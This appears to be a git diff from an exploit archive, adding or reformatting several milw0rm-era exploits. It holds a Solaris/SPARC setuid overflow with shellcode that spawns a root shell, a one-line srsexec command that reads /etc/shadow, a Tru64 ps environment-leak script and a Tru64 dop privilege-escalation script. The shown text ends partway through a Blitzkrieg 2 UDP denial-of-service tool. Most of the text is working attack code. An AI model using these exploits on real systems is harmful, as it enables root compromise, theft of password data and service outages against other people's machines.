+#define	INFO1	"raptor_xkb.c - XKEYBOARD Strcmp(), Solaris/SPARC 8/9/10"
+#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN	"/usr/dt/bin/dtaction"		// default setuid target
+//#define VULN	"/usr/dt/bin/dtprintinfo"
+//#define VULN	"/usr/dt/bin/dtsession"
+
+#define	BUFSIZE 1024				// size of the evil buffer
+#define	VARSIZE	2048				// size of the evil env var
+#define	FFSIZE	64 + 1				// size of the fake frame
+#define	DUMMY	0xdeadbeef			// dummy memory address
+
+/* voodoo macros */
+#define	VOODOO32(_,__,___)	{_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
+#define	VOODOO64(_,__,___)	{_+=7-(_+(__+___+1)*4+3)%8;}
+
+char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
+/* double setuid() is needed by dtprintinfo and dtsession */
+"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
+"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
+/* execve() */
+"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
+"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
+"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
+
+/* globals */
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+void	check_zero(int addr, char *pattern);
+int	search_ldso(char *sym);
+int	search_rwx_mem(void);
+void	set_val(char *buf, int pos, int val);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char	buf[BUFSIZE], var[VARSIZE], ff[FFSIZE];
+	char	platform[256], release[256], display[256];
+	int	i, offset, ff_addr, sc_addr;
+	int	plat_len, prog_len, rel;
+
+	char	*arg[2] = {"foo", NULL};
+	int	arg_len = 4, arg_pos = 1;
+
+	int	ret, rwx_mem;
+
+	/* get the stack base */
+	int	sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* read command line */
+	if (argc != 2) {
+		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
+		exit(2);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+
+	/* get some system information */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	rel = atoi(release + 2);
+
+	/* get the address of strcpy() or sprintf() in ld.so.1 */
+	ret = (rel < 10 ? search_ldso("strcpy") : search_ldso("sprintf"));
+
+	/* get the address of RWX memory segment inside ld.so.1 */
+	rwx_mem = search_rwx_mem();
+
+	/* prepare the evil buffer */
+	memset(buf, 'A', sizeof(buf));
+	buf[sizeof(buf) - 1] = 0x0;
+	memcpy(buf, "_XKB_CHARSET=", 13);
+
+	/* prepare the evil env var */
+	memset(var, 'B', sizeof(var));
+	var[sizeof(var) - 1] = 0x0;
+
+	/* prepare the fake frame */
+	bzero(ff, sizeof(ff));
+
+	/* 
+	 * saved %l registers
+	 */
+	set_val(ff, i  = 0, DUMMY);		/* %l0 */
+	set_val(ff, i += 4, DUMMY);		/* %l1 */
+	set_val(ff, i += 4, DUMMY);		/* %l2 */
+	set_val(ff, i += 4, DUMMY);		/* %l3 */
+	set_val(ff, i += 4, DUMMY);		/* %l4 */
+	set_val(ff, i += 4, DUMMY);		/* %l5 */
+	set_val(ff, i += 4, DUMMY);		/* %l6 */
+	set_val(ff, i += 4, DUMMY);		/* %l7 */
+
+	/*
+	 * saved %i registers
+	 */
+	set_val(ff, i += 4, rwx_mem);		/* %i0: 1st arg to function */
+	set_val(ff, i += 4, 0x42424242);	/* %i1: 2nd arg to function */
+	set_val(ff, i += 4, DUMMY);		/* %i2 */
+	set_val(ff, i += 4, DUMMY);		/* %i3 */
+	set_val(ff, i += 4, DUMMY);		/* %i4 */
+	set_val(ff, i += 4, DUMMY);		/* %i5 */
+	set_val(ff, i += 4, sb - 1000);		/* %i6: frame pointer */
+	set_val(ff, i += 4, rwx_mem - 8);	/* %i7: return address */
+
+	/* fill the envp, keeping padding */
+	sc_addr = add_env(ff);
+	add_env(sc);
+	add_env(display);
+	add_env(buf);
+	add_env(var);
+	add_env(NULL);
+
+	/* calculate the offset to argv[0] (voodoo magic) */
+	plat_len = strlen(platform) + 1;
+	prog_len = strlen(VULN) + 1;
+	offset = arg_len + env_len + plat_len + prog_len;
+	if (rel > 7)
+		VOODOO64(offset, arg_pos, env_pos)
+	else
+		VOODOO32(offset, plat_len, prog_len)
+
+	/* calculate the needed addresses */
+	ff_addr = sb - offset + arg_len;
+	sc_addr += ff_addr;
+
+	/* set fake frame's %i1 */
+	set_val(ff, 36, sc_addr);		/* 2nd arg to function */
+
+	/* fill the evil buffer */
+	for (i = 13 + 256; i < 13 + 256 + 56; i += 4) 
+		set_val(buf, i, sb - 2048);
+	/* we don't need to bruteforce */
+	set_val(buf, 13 + 256 + 56, ff_addr);	/* fake frame address */
+	set_val(buf, 13 + 256 + 60, ret - 4);	/* function, after the save */
+
+	/* fill the evil env var */
+	for (i = 0; i < VARSIZE - 8; i += 4)
+		set_val(var, i, sb - 2048);
+
+	/* print some output */
+	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
+	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
+	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
+	fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
+	fprintf(stderr, "Using function address\t: 0x%p\n\n", (void *)ret);
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(0);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return(env_len);
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return(env_len);
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+	    !(addr & 0xff000000)) {
+		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
+		exit(1);
+	}
+}
+
+/*
+ * search_ldso(): search for a symbol inside ld.so.1
+ */
+int search_ldso(char *sym)
+{
+	int		addr;
+	void		*handle;
+	Link_map	*lm;
+
+	/* open the executable object file */
+	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
+		perror("dlopen");
+		exit(1);
+	}
+
+	/* get dynamic load information */
+	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
+		perror("dlinfo");
+		exit(1);
+	}
+
+	/* search for the address of the symbol */
+	if ((addr = (int)dlsym(handle, sym)) == NULL) {
+		fprintf(stderr, "sorry, function %s() not found\n", sym);
+		exit(1);
+	}
+
+	/* close the executable object file */
+	dlclose(handle);
+
+	check_zero(addr - 4, sym);
+	check_zero(addr - 8, sym); /* addr - 8 is the ret before function */
+	return(addr);
+}
+
+/*
+ * search_rwx_mem(): search for an RWX memory segment valid for all
+ * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
+ */
+int search_rwx_mem(void)
+{
+	int	fd;
+	char	tmp[16];
+	prmap_t	map;
+	int	addr = 0;
+
+	/* open the proc filesystem */
+	sprintf(tmp,"/proc/%d/map", (int)getpid());
+	if ((fd = open(tmp, O_RDONLY)) < 0) {
+		fprintf(stderr, "can't open %s\n", tmp);
+		exit(1);
+	}
+
+	/* search for the last RWX memory segment before stack */
+	while (read(fd, &map, sizeof(map)))
+		if (map.pr_mflags == (MA_READ | MA_WRITE | MA_EXEC))
+			addr = map.pr_vaddr;
+	close(fd);
+
+	/* add 4 to the exact address NULL bytes */
+	if (!(addr & 0xff))
+		addr |= 0x04;
+	if (!(addr & 0xff00))
+		addr |= 0x0400;
+
+	return(addr);
+}
+
+/*
+ * set_val(): copy a dword inside a buffer
+ */
+void set_val(char *buf, int pos, int val)
+{
+	buf[pos] =	(val & 0xff000000) >> 24;
+	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
+	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
+	buf[pos + 3] =	(val & 0x000000ff);
+}
+
+// milw0rm.com [2006-09-13]
diff --git a/platforms/solaris/local/30021.txt b/platforms/solaris/local/30021.txt
new file mode 100755
index 000000000..10f3ff972
--- /dev/null
+++ b/platforms/solaris/local/30021.txt
@@ -0,0 +1,8 @@
+source: http://www.securityfocus.com/bid/23915/info
+
+Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.
+
+A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible. 
+
+The following exploit example is available:
+$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED 
\ No newline at end of file
diff --git a/platforms/tru64/local/3273.ksh b/platforms/tru64/local/3273.ksh
index 5e6e42730..ff4cc5ac8 100755
--- a/platforms/tru64/local/3273.ksh
+++ b/platforms/tru64/local/3273.ksh
@@ -1,46 +1,46 @@
-#!/bin/ksh
-#
-# osf1tru64ps.ksh exploit
-# Tested on OSF1 V5.1 1885 alpha
-#
-# ps executable - information leak
-# 
-# Author: Andrea "bunker" Purificato
-#         http://rawlab.mindcreations.com
-#
-# the "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha,
-# developed without an eye to security, allows unprivileged users to see
-# values of all processes environment variables.
-#
-# Useful during information discovery.
-#
-# fake_uname> uname -a           
-# OSF1 fake_uname V5.1 1885 alpha
-# 
-# fake_uname> id
-# uid=301(fake_user) gid=216(fake_gid)
-#
-# fake_uname> /usr/ucb/ps auxeww 
-# USER            PID %CPU %MEM   VSZ  RSS TTY      S    STARTED         TIME COMMAND
-# ...
-# ...
-# root        1038875  0.0  0.0 2.02M 184K ??       I    11:39:03     0:00.01 sleep 55 MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin LOGNAME=root USER=root SHELL=/bin/ksh HOME=/ TERM=vt100 PWD=/opt/AmosLite_Client...
-# ...
-# ...
-# root        1009950  0.0  0.0 2.73M 840K ??       I <    Sep 30     0:31.22 /usr/sbin/auditd -l /LOG_SOURCE/audit/auditlog HOME=/ LOGNAME=root MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin PWD=/var/audit SHELL=/bin/ksh TERM=xterm USER=root...
-# ...
-# ...
-# oracle       541177  0.0  0.0 28.2M 3.4M ??       S      Sep 01     0:07.00 /app/oracle/product/9.2.0/Apache/Apache/bin/httpd -d /app/oracle/product/9.2.0/Apache/Apache HOME=/app/oracle LD_LIBRARY_PATH=/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/obackup/lib: LOGNAME=oracle NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252 OBK_HOME=/app/oracle/product/9.2.0/obackup ORACLE_BACKUP=/app/oracle/BACKUP ORACLE_BASE=/app/oracle ORACLE_DOC=/app/oracle/product/9.2.0/oradoc ORACLE_HOME=/app/oracle/product/9.2.0 ORACLE_PATH=/app/oracle/product/9.2.0/oracle ORACLE_SID=...
-# ...
-# ...
-#
-echo "Tru64 Alpha OSF1 V5.1 1885  - ps information leak"
-echo "Andrea \"bunker\" Purificato - http://rawlab.mindcreations.com"
-echo ""
-echo "Default ps executable: "
-ps auxewww
-
-echo "/usr/ucb/ps executable: "
-/usr/ucb/ps auxewww
-
-# milw0rm.com [2007-02-06]
+#!/bin/ksh
+#
+# osf1tru64ps.ksh exploit
+# Tested on OSF1 V5.1 1885 alpha
+#
+# ps executable - information leak
+# 
+# Author: Andrea "bunker" Purificato
+#         http://rawlab.mindcreations.com
+#
+# the "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha,
+# developed without an eye to security, allows unprivileged users to see
+# values of all processes environment variables.
+#
+# Useful during information discovery.
+#
+# fake_uname> uname -a           
+# OSF1 fake_uname V5.1 1885 alpha
+# 
+# fake_uname> id
+# uid=301(fake_user) gid=216(fake_gid)
+#
+# fake_uname> /usr/ucb/ps auxeww 
+# USER            PID %CPU %MEM   VSZ  RSS TTY      S    STARTED         TIME COMMAND
+# ...
+# ...
+# root        1038875  0.0  0.0 2.02M 184K ??       I    11:39:03     0:00.01 sleep 55 MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin LOGNAME=root USER=root SHELL=/bin/ksh HOME=/ TERM=vt100 PWD=/opt/AmosLite_Client...
+# ...
+# ...
+# root        1009950  0.0  0.0 2.73M 840K ??       I <    Sep 30     0:31.22 /usr/sbin/auditd -l /LOG_SOURCE/audit/auditlog HOME=/ LOGNAME=root MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin PWD=/var/audit SHELL=/bin/ksh TERM=xterm USER=root...
+# ...
+# ...
+# oracle       541177  0.0  0.0 28.2M 3.4M ??       S      Sep 01     0:07.00 /app/oracle/product/9.2.0/Apache/Apache/bin/httpd -d /app/oracle/product/9.2.0/Apache/Apache HOME=/app/oracle LD_LIBRARY_PATH=/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/obackup/lib: LOGNAME=oracle NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252 OBK_HOME=/app/oracle/product/9.2.0/obackup ORACLE_BACKUP=/app/oracle/BACKUP ORACLE_BASE=/app/oracle ORACLE_DOC=/app/oracle/product/9.2.0/oradoc ORACLE_HOME=/app/oracle/product/9.2.0 ORACLE_PATH=/app/oracle/product/9.2.0/oracle ORACLE_SID=...
+# ...
+# ...
+#
+echo "Tru64 Alpha OSF1 V5.1 1885  - ps information leak"
+echo "Andrea \"bunker\" Purificato - http://rawlab.mindcreations.com"
+echo ""
+echo "Default ps executable: "
+ps auxewww
+
+echo "/usr/ucb/ps executable: "
+/usr/ucb/ps auxewww
+
+# milw0rm.com [2007-02-06]
diff --git a/platforms/unix/local/30017.sh b/platforms/unix/local/30017.sh
new file mode 100755
index 000000000..6d2b14d79
--- /dev/null
+++ b/platforms/unix/local/30017.sh
@@ -0,0 +1,140 @@
+source: http://www.securityfocus.com/bid/23881/info
+
+HP Tru64 for UNIX is prone to a local privilege-escalation vulnerability.
+
+Exploiting this issue allows local attackers to execute arbitrary code with superuser privileges.
+Successful exploits will result in a complete compromise of vulnerable computers. Failed exploit attempts will result in a denial of service. 
+
+---------------------8<---------------------8<---------------------
+#!/bin/sh
+#
+# - Author/Credits:
+#   Daniele Calore; orkaan <at> orkaan.org
+#
+# - Description:
+#   HP Tru64 DOP Local Privilege Escalation Vulnerability
+#
+#   UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation.
+#   HP Security bulletin code identification: HPSBTU02211 SSRT071326
+#   Bugtraq ID: 23881
+#
+# - Public Released:
+#   2007-05-09
+#
+# - System Affected:
+#   Tru64 5.1  (ALL) (Last PatchKit: T64v51B20AS0006-20030210  - PK6 - BL20)
+#   Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 - PK6 - BL24)
+#   Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 - PK6 - BL26)
+#
+# - System NOT Tested:
+#   Tru64 5.0
+#
+# - System NOT Affected:
+#   Tru64 4.0x (dop will allways require root password, also for user root)
+#
+# - More info:
+#   http://www.orkaan.org/tru64/orkaan_-_exp_Tru64-5.X_SSRT071326.html
+#
+
+#
+#####################
+
+# Defines:
+
+PATH="/sbin:/usr/sbin/:/bin:/usr/bin"
+DOP="/usr/sbin/dop"
+
+# Environment size target.
+# Change this value if you have problems.
+ENV_TRG=38629
+
+# Sleep in seconds.
+# Change this value (bigger) if you have problems.
+SLEEP=10
+
+#
+#####################
+# Credits:
+
+echo "UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation."
+echo "HP Security bulletin code identification: HPSBTU02211 SSRT071326"
+echo "Bugtraq ID: 23881"
+echo "Author: Daniele Calore; orkaan <at> orkaan.org"
+echo ""
+
+#
+#####################
+# Checks:
+
+# Check User.
+MYUID=`id -u`
+if [ ${MYUID} -eq 0 ]; then
+        echo "Why execute this if you are allready root?"
+        exit 1
+fi
+
+# Check dop binary.
+test -u "${DOP}"
+if [ $? -ne 0 ]; then
+        echo "${DOP} binary is without set-user ID bit... Sorry!"
+        exit 1
+fi
+
+# Check exec_disable_arg_limit.
+ARG_LIMIT=`sysconfig -q proc exec_disable_arg_limit 2>/dev/null | tail -1 |\
+           cut -f3 -d" "`
+if [ "Z${ARG_LIMIT}" != "Z0" ]; then
+        echo "exec_disable_arg_limit is set to ${ARG_LIMIT:-none}... Sorry!"
+        exit 1
+fi
+
+#
+#####################
+# DOPAction Attack:
+
+echo "Ready:"
+
+# Unset Display.
+echo "1- Unset DISPLAY."
+unset DISPLAY
+
+# Make ENV big enough.
+echo "2- Make ENV big enough."
+ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
+ENV_SIZE=`expr ${ENV_TRG} - ${ENV_SIZE} - 3`
+A=`perl -e "print 'A' x ${ENV_SIZE}`; export A
+ENV_SIZE=`env | wc -c | tr -cd '[[:digit:]]'`
+echo "   Actual ENV size is ${ENV_SIZE}; target is ${ENV_TRG};"
+
+# Create dopAction.
+echo "3- Create a dopAction 'shell'.
+   Remember to delete it.
+   As root do:
+   /usr/sbin/sysman -cli -delete row -comp doprc -group dopActions -key1
+   shell
+
+   Remember:
+   - The script will never end.
+   - If it does not run change ENV_TRG...
+   - It is normal to see a message like:
+     Error occurred trying to update /etc/doprc:
+     shell already exists in /etc/doprc
+     (This mean that the BUG is present...)
+
+   You have to wait ${SLEEP} seconds.
+   After this amount of time you will see a: '#' (the root shell prompt).
+"
+
+# Fork it in Background.
+dop /usr/sbin/sysman -cli -add row -comp doprc -group dopActions \
+-data "shell SuperUsers {{/bin/sh *}}" &
+
+# Run the new dopAction.
+# Sleep some seconds (maybe you have to change this value).
+sleep ${SLEEP}
+echo ""
+dop shell
+
+exit 0
+# EOF
+---------------------8<---------------------8<---------------------
diff --git a/platforms/windows/dos/1000.cpp b/platforms/windows/dos/1000.cpp
index ce9921ccc..2b15fd016 100755
--- a/platforms/windows/dos/1000.cpp
+++ b/platforms/windows/dos/1000.cpp
@@ -238,6 +238,6 @@ pcap_close(pcap_handle);
 freeaddrinfo(addrinfo);
 WSACleanup();
 return EXIT_SUCCESS;
-}
-
-// milw0rm.com [2005-05-17]
+}
+
+// milw0rm.com [2005-05-17]
diff --git a/platforms/windows/dos/1165.pl b/platforms/windows/dos/1165.pl
index 266d64754..08441fc6e 100755
--- a/platforms/windows/dos/1165.pl
+++ b/platforms/windows/dos/1165.pl
@@ -36,6 +36,6 @@ else
 {
         print "Cannot connect to $ARGV[0]:25\n";
 }
-#===== End Inframail_SMTPOverflow.pl =====
-
-# milw0rm.com [2005-06-27]
+#===== End Inframail_SMTPOverflow.pl =====
+
+# milw0rm.com [2005-06-27]
diff --git a/platforms/windows/dos/1166.pl b/platforms/windows/dos/1166.pl
index 0f39817ca..1b806c1cf 100755
--- a/platforms/windows/dos/1166.pl
+++ b/platforms/windows/dos/1166.pl
@@ -44,6 +44,6 @@ else
 {
         print "Cannot connect to $ARGV[0]:21\n";
 }
-#===== End Inframail_FTPOverflow.pl =====
-
-# milw0rm.com [2005-06-27]
+#===== End Inframail_FTPOverflow.pl =====
+
+# milw0rm.com [2005-06-27]
diff --git a/platforms/windows/dos/1282.c b/platforms/windows/dos/1282.c
index 40dbe910d..0b1ad42ff 100755
--- a/platforms/windows/dos/1282.c
+++ b/platforms/windows/dos/1282.c
@@ -1,183 +1,183 @@
-/*
-
-by Luigi Auriemma
-
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#ifdef WIN32
-    #include <winsock.h>
-/*
-   Header file used for manage errors in Windows
-   It support socket and errno too
-   (this header replace the previous sock_errX.h)
-*/
-
-#include <string.h>
-#include <errno.h>
-
-
-
-void std_err(void) {
-    char    *error;
-
-    switch(WSAGetLastError()) {
-        case 10004: error = "Interrupted system call"; break;
-        case 10009: error = "Bad file number"; break;
-        case 10013: error = "Permission denied"; break;
-        case 10014: error = "Bad address"; break;
-        case 10022: error = "Invalid argument (not bind)"; break;
-        case 10024: error = "Too many open files"; break;
-        case 10035: error = "Operation would block"; break;
-        case 10036: error = "Operation now in progress"; break;
-        case 10037: error = "Operation already in progress"; break;
-        case 10038: error = "Socket operation on non-socket"; break;
-        case 10039: error = "Destination address required"; break;
-        case 10040: error = "Message too long"; break;
-        case 10041: error = "Protocol wrong type for socket"; break;
-        case 10042: error = "Bad protocol option"; break;
-        case 10043: error = "Protocol not supported"; break;
-        case 10044: error = "Socket type not supported"; break;
-        case 10045: error = "Operation not supported on socket"; break;
-        case 10046: error = "Protocol family not supported"; break;
-        case 10047: error = "Address family not supported by protocol family"; break;
-        case 10048: error = "Address already in use"; break;
-        case 10049: error = "Can't assign requested address"; break;
-        case 10050: error = "Network is down"; break;
-        case 10051: error = "Network is unreachable"; break;
-        case 10052: error = "Net dropped connection or reset"; break;
-        case 10053: error = "Software caused connection abort"; break;
-        case 10054: error = "Connection reset by peer"; break;
-        case 10055: error = "No buffer space available"; break;
-        case 10056: error = "Socket is already connected"; break;
-        case 10057: error = "Socket is not connected"; break;
-        case 10058: error = "Can't send after socket shutdown"; break;
-        case 10059: error = "Too many references, can't splice"; break;
-        case 10060: error = "Connection timed out"; break;
-        case 10061: error = "Connection refused"; break;
-        case 10062: error = "Too many levels of symbolic links"; break;
-        case 10063: error = "File name too long"; break;
-        case 10064: error = "Host is down"; break;
-        case 10065: error = "No Route to Host"; break;
-        case 10066: error = "Directory not empty"; break;
-        case 10067: error = "Too many processes"; break;
-        case 10068: error = "Too many users"; break;
-        case 10069: error = "Disc Quota Exceeded"; break;
-        case 10070: error = "Stale NFS file handle"; break;
-        case 10091: error = "Network SubSystem is unavailable"; break;
-        case 10092: error = "WINSOCK DLL Version out of range"; break;
-        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
-        case 10071: error = "Too many levels of remote in path"; break;
-        case 11001: error = "Host not found"; break;
-        case 11002: error = "Non-Authoritative Host not found"; break;
-        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
-        case 11004: error = "Valid name, no data record of requested type"; break;
-        default: error = strerror(errno); break;
-    }
-    fprintf(stderr, "\nError: %s\n", error);
-    exit(1);
-}
-
-// inserted winerr.h /str0ke
-
-    #define close   closesocket
-#else
-    #include <unistd.h>
-    #include <sys/socket.h>
-    #include <sys/types.h>
-    #include <arpa/inet.h>
-    #include <netinet/in.h>
-    #include <netdb.h>
-#endif
-
-
-
-#define VER     "0.1"
-#define B2OUT   "\x09\x00\x00\x00\x00"
-
-
-
-u_int resolv(char *host);
-void std_err(void);
-
-
-
-int main(int argc, char *argv[]) {
-    struct  sockaddr_in peer;
-    int     sd;
-    u_short port;
-
-#ifdef WIN32
-    WSADATA    wsadata;
-    WSAStartup(MAKEWORD(1,0), &wsadata);
-#endif
-
-
-    setbuf(stdout, NULL);
-
-    fputs("\n"
-        "Blitzkrieg 2 <= 1.21 players kicker "VER"\n"
-        "by Luigi Auriemma\n"
-        "e-mail: aluigi@autistici.org\n"
-        "web:    http://aluigi.altervista.org\n"
-        "\n", stdout);
-
-    if(argc < 3) {
-        printf("\n"
-            "Usage: %s <host> <port>\n"
-            "\n"
-            "Note: port is usually 4201 for LAN and 1028 for Internet\n"
-            "Note: this tool works versus both server (better) and clients, but naturally\n"
-            "      you need to know their IP addresses of these last to kick them directly\n"
-            "\n", argv[0]);
-        exit(1);
-    }
-
-    port                  = atoi(argv[2]);
-    peer.sin_addr.s_addr  = resolv(argv[1]);
-    peer.sin_port         = htons(port);
-    peer.sin_family       = AF_INET;
-
-    printf("- target   %s : %hu\n",
-        inet_ntoa(peer.sin_addr), port);
-
-    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
-    if(sd < 0) std_err();
-    if(sendto(sd, B2OUT, sizeof(B2OUT) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
-      < 0) std_err();
-    close(sd);
-
-    fputs("\nServer should be no longer available, check it manually\n\n", stdout);
-    return(0);
-}
-
-
-
-u_int resolv(char *host) {
-    struct  hostent *hp;
-    u_int   host_ip;
-
-    host_ip = inet_addr(host);
-    if(host_ip == INADDR_NONE) {
-        hp = gethostbyname(host);
-        if(!hp) {
-            printf("\nError: Unable to resolv hostname (%s)\n", host);
-            exit(1);
-        } else host_ip = *(u_int *)hp->h_addr;
-    }
-    return(host_ip);
-}
-
-
-
-#ifndef WIN32
-    void std_err(void) {
-        perror("\nError");
-        exit(1);
-    }
-#endif
-
-// milw0rm.com [2005-11-02]
+/*
+
+by Luigi Auriemma
+
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef WIN32
+    #include <winsock.h>
+/*
+   Header file used for manage errors in Windows
+   It support socket and errno too
+   (this header replace the previous sock_errX.h)
+*/
+
+#include <string.h>
+#include <errno.h>
+
+
+
+void std_err(void) {
+    char    *error;
+
+    switch(WSAGetLastError()) {
+        case 10004: error = "Interrupted system call"; break;
+        case 10009: error = "Bad file number"; break;
+        case 10013: error = "Permission denied"; break;
+        case 10014: error = "Bad address"; break;
+        case 10022: error = "Invalid argument (not bind)"; break;
+        case 10024: error = "Too many open files"; break;
+        case 10035: error = "Operation would block"; break;
+        case 10036: error = "Operation now in progress"; break;
+        case 10037: error = "Operation already in progress"; break;
+        case 10038: error = "Socket operation on non-socket"; break;
+        case 10039: error = "Destination address required"; break;
+        case 10040: error = "Message too long"; break;
+        case 10041: error = "Protocol wrong type for socket"; break;
+        case 10042: error = "Bad protocol option"; break;
+        case 10043: error = "Protocol not supported"; break;
+        case 10044: error = "Socket type not supported"; break;
+        case 10045: error = "Operation not supported on socket"; break;
+        case 10046: error = "Protocol family not supported"; break;
+        case 10047: error = "Address family not supported by protocol family"; break;
+        case 10048: error = "Address already in use"; break;
+        case 10049: error = "Can't assign requested address"; break;
+        case 10050: error = "Network is down"; break;
+        case 10051: error = "Network is unreachable"; break;
+        case 10052: error = "Net dropped connection or reset"; break;
+        case 10053: error = "Software caused connection abort"; break;
+        case 10054: error = "Connection reset by peer"; break;
+        case 10055: error = "No buffer space available"; break;
+        case 10056: error = "Socket is already connected"; break;
+        case 10057: error = "Socket is not connected"; break;
+        case 10058: error = "Can't send after socket shutdown"; break;
+        case 10059: error = "Too many references, can't splice"; break;
+        case 10060: error = "Connection timed out"; break;
+        case 10061: error = "Connection refused"; break;
+        case 10062: error = "Too many levels of symbolic links"; break;
+        case 10063: error = "File name too long"; break;
+        case 10064: error = "Host is down"; break;
+        case 10065: error = "No Route to Host"; break;
+        case 10066: error = "Directory not empty"; break;
+        case 10067: error = "Too many processes"; break;
+        case 10068: error = "Too many users"; break;
+        case 10069: error = "Disc Quota Exceeded"; break;
+        case 10070: error = "Stale NFS file handle"; break;
+        case 10091: error = "Network SubSystem is unavailable"; break;
+        case 10092: error = "WINSOCK DLL Version out of range"; break;
+        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
+        case 10071: error = "Too many levels of remote in path"; break;
+        case 11001: error = "Host not found"; break;
+        case 11002: error = "Non-Authoritative Host not found"; break;
+        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
+        case 11004: error = "Valid name, no data record of requested type"; break;
+        default: error = strerror(errno); break;
+    }
+    fprintf(stderr, "\nError: %s\n", error);
+    exit(1);
+}
+
+// inserted winerr.h /str0ke
+
+    #define close   closesocket
+#else
+    #include <unistd.h>
+    #include <sys/socket.h>
+    #include <sys/types.h>
+    #include <arpa/inet.h>
+    #include <netinet/in.h>
+    #include <netdb.h>
+#endif
+
+
+
+#define VER     "0.1"
+#define B2OUT   "\x09\x00\x00\x00\x00"
+
+
+
+u_int resolv(char *host);
+void std_err(void);
+
+
+
+int main(int argc, char *argv[]) {
+    struct  sockaddr_in peer;
+    int     sd;
+    u_short port;
+
+#ifdef WIN32
+    WSADATA    wsadata;
+    WSAStartup(MAKEWORD(1,0), &wsadata);
